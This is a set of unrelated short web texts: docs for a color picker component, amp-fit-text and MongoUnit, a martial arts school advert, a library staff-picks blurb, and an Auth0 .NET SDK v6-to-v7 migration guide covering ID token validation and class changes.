Colors can be picked from a pre-determined swatch, or optionally edited in hex or RGBA format with a live preview.
This example constructs a swatch of UX Aspects theme colors using the
color service.
The following properties can be used to customize and interact with ux-color-picker
.
The collection of colors to display in the color swatch.
Colors can be specified either as a string, which is the hex or RGBA value of the color; or as a
ColorPickerColor
object, which allows a name to be associated with the color.
See below for details of the ColorPickerColor
class.
This property is either a one-dimensional or two-dimensional array. If a two-dimensional array is provided, the colors will be split into rows, providing more control over the appearance of the swatch.
colors
collection, it will be visually highlighted in the
swatch.
It will also be shown in the input panel, if enabled (see showInput
).
Note that this will always be a ColorPickerColor
object, even if plain strings are provided to the
colors
property.
See below for details of the ColorPickerColor
class.
ColorPickerColor
.
This is the type used by ux-color-picker
to define available colors and return the selected color.
This provides access to the hex and RGBA values of any color, as well as individual color components.
name
: The human readable name of the color.value
: The hex or RGBA value of the color.
If this cannot be parsed then an error will be thrown.
inputMode
: Whether value
is in hex or RGBA format.
If this is specified, then the format of value
will be preserved, e.g. if short-form hex
strings should not be expanded.
The following classes are provided to help style components surrounding the color picker.
ux-color-picker-button-preview
: An inline color sample which can be added to the popup button.ux-color-picker-dropdown
: Additional styling for a dropdown container.


Melbourne Martial Arts (M.M.A.) provides the best training and knowledge to understand what to do when needed. No techniques are hidden. Come learn the secrets you don't know. These methods will teach you quickly what techniques are effective and when to use them, thus neutralizing any attack.
Aikido, Karate, Jujitsu, Weapons, JKD concepts, and many more...
M.M.A has experts in many different disciplines of the martial arts, like Aikido, Karate, Jiu Jitsu and many more. Our unique method of teaching gets the student to a competent point quicker than any other method. Our experts are masters with weapons and can provide training on a variety of weapons.
Our philosophy is to blend all martial arts back to their roots. By doing that, we understand how they interact and how they can be used properly. That understanding is translated, then passed to the students in a easy to understand and fast learning environment.


--- layout: new-blank title: Staff picks breadcrumb: elibrary pad-content: true hnav: elibrary ---
A collection of recommendations, lists and articles from our staff for reading online. Perfect for if you’re stuck at home.


In each of these examples, the <amp-fit-text> element is nested in a 200x200 grey div block to demonstrate differences in attributes and layout values.
When <amp-fit-text> is used with a given height, width, and layout="responsive" attribute, the text will scale responsively in the ratio provided but not exceed the size of its parent.
Aspect ratio: 1.5:1 (3:2)
Aspect ratio: 1:1
The min-font-size attribute dictates a minimum size for the text. In this case, we've dictated a minimum of 30, which will cause it to exceed the size of its fixed block parent and be truncated to fit as appropriate.
The max-font-size attribute dictates a maximum size for the text. In this case, we've dictated a maximum of 10, ensuring it won't fill the size of its parent element.
When <amp-fit-text> is used with a given height and layout="fixed-height" attribute, it will fit to the size of its given height (200), and adjust the width as needed to stay within the bounds of its parent container.


| Class | Description |
|---|---|
| DatasetGenerator |
DatasetGenerator class is a standalone runnable program that can generate JSON-based
starter dataset files which can later be used to seed and verify database tests. |
| DatasetGeneratorArguments |
DatasetGeneratorArguments class represents all arguments passed into the DatasetGenerator standalone program. |
| DatasetGeneratorArguments.DatasetGeneratorArgumentsBuilder |
DatasetGeneratorArguments.DatasetGeneratorArgumentsBuilder class is a builder pattern class for the DatasetGeneratorArguments class. |
| MongoUnit |
MongoUnit class contains utilities for manually seeding and performing assertion
matches. |
| MongoUnitExtension |
MongoUnitExtension class is a JUnit 5 extension which enables the MongoUnit framework
features in a test target. |
| MongoUnitUtil |
| Enum | Description |
|---|---|
| LocationType |
LocationType enum specifies how 'locations' values in SeedWithDataset and AssertMatchesDataset annotations should be interpreted. |
| Exception | Description |
|---|---|
| MongoUnitException |
MongoUnitException class represents the root exception of any exceptions in the MongoUnit
framework. |
| Annotation Type | Description |
|---|---|
| AssertMatchesDataset |
AssertMatchesDataset annotation specifies location(s) of a JSON-based file(s) with data
to match the state of the database with. |
| AssertMatchesDatasets |
AssertMatchesDatasets annotation enables the AssertMatchesDataset annotation to
be repeatable. |
| MongoUnitTest |
MongoUnitTest is an annotation meant to be placed on JUnit classes to autoconfigure the
Spring-based MongoDatabaseFactory to use a test database for the integration tests. |
| SeedWithDataset |
SeedWithDataset annotation specifies location(s) of a JSON-based file(s) with data to
seed the database before a target test is executed. |
| SeedWithDatasets |
SeedWithDatasets annotation enables the SeedWithDataset annotation to be
repeatable. |
Copyright © 2021. All rights reserved.


Theophilus Omoregbee
Creator. Thinker. Writer. Developer. Photographer
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Stack Overflow


Migration Guide
Migrating From v6 to v7
There are a number of important changes in v7 including some that may be breaking depending on your scenarios. They are as follows:
ID Token
As part of our on-going efforts to be OpenID Compliant, the authentication SDK expects an ID Token to always be present. Therefore, openid
should always be passed as a Scope
when calling GetTokenAsync
for the Refresh Token
or Resource Owner Password
grants, as well as when using AuthenticationApiClient.BuildAuthorizationUrl
. Only the Client Credentials grant doesn't require the existence of an ID Token, as there is no user involved in the process of getting a token in that case.
ID Token Validation
The authentication SDK now includes all-new ID Token validation capable of validating both RS256 and HS256 signed tokens.
If your app is configured for:
RS256
No changes are required to your application.
JWKS caching has changed. Previously it would cache the document once and it would be indefinitely until the app is restarted.
The JWKS document will now only cache for 10 minutes and will retry more frequently when presented with new signing keys. This provides support for rotation of signing keys in the future.
HS256
The situation here depends on whether your application is confidential or public.
If using HS256 and your app is confidential (e.g. a web server) then you must set
SigningAlgorithm
toSigningAlgorithm.HS256
on allAuthenticationApiClient
requests.If using HS256 and your app is NOT confidential (e.g. a desktop or mobile app) you should plan to move to RS256 as soon as possible. Client secrets can not be kept secure in these types of applications.
Class Reorganization
- A number of classes previously found in the
Auth0.Core
assembly and namespace such asPagedList
,IPagedList
,PagingInfo
andPagingInformation
can now be found in theAuth0.ManagementApi
assembly in theAuth0.ManagementApi.Paging
namespace.
Visual Studio should be able to help locate and update using
statements as appropriate.
Connections
Previously there was a single connection type known as ApiConnection
and its associated IApiConnection
interface.
These have been replaced by HttpClientAuthenticationConnection
and IAuthenticationConnection
for authentication and HttpClientManagementConnection
and IManagementConnection
for management APIs.
These provide the following improvements:
Mocking
Either of these interfaces can now be easily mocked to provide full coverage of either authentication or management surface areas. There are just two methods per interface - one for GET operations and one for all other operations - that cover the entire Authentication and Management API surfaces.
Thread Safety & Pooling
These provide much better thread-safety as well as a clear entry-point for mocking and testing. Each has just two methods that can be mocked - one for GET and one for non-GET HTTP operations - that cover the entire Authentication and Management API surface.
Microsoft recommends HttpClient
is reused as much as possible and these new classes provide many opportunities for re-use.
You can use dependency injection/inversion of control to ensure that either a single instance of AuthenticationApiClient
/ ManagementApiClient
is created.
Alternatively you can use the same technique to inject a single instance of HttpClientAuthenticationConnection
or HttpClientManagementConnection
is created.
Finally you could take full control and share a single HttpClient
between both AuthenticationApiClient
and ManagementApiClient
as well as potentially sharing the HttpClient
with your own connections or libraries (if doing this take care to ensure none of the usage changes the default behavior such as the default HTTP headers).
ApiInfo & Rate Limiting
Previously information about the last call made including rate limiting was exposed on both the ApiConnection
, AuthenticationApiClient
, and ManagementApiClient
.
This anti-pattern discouraged sharing of the clients and connections as they are not thread-safe being the last call made and in doing so prevented re-use of the underlying HttpClient
.
RateLimit information is now available on RateLimitApiException
.
Exception Handling
The introduction of the new RateLimitApiException
meant we needed to re-organize the exceptions.
If you were catching ApiException
previously but not using any of the custom properties on it such as ApiError
or ErrorCode
then you do not need to make any additional changes.
If however you use ApiError
and ErrorCode
then you will need to:
- Catch the
ErrorApiException
sub-class instead which now contains these properties - Decide how to handle
RateLimitApiException
sub-class exceptions that may occur during rate limiting
AuthenticationClient URL builders
The URL builder helper methods have been moved into extension methods in order to make the IAuthenticationClient interface simpler.
For most users this change will not be breaking and using them will compile as-before.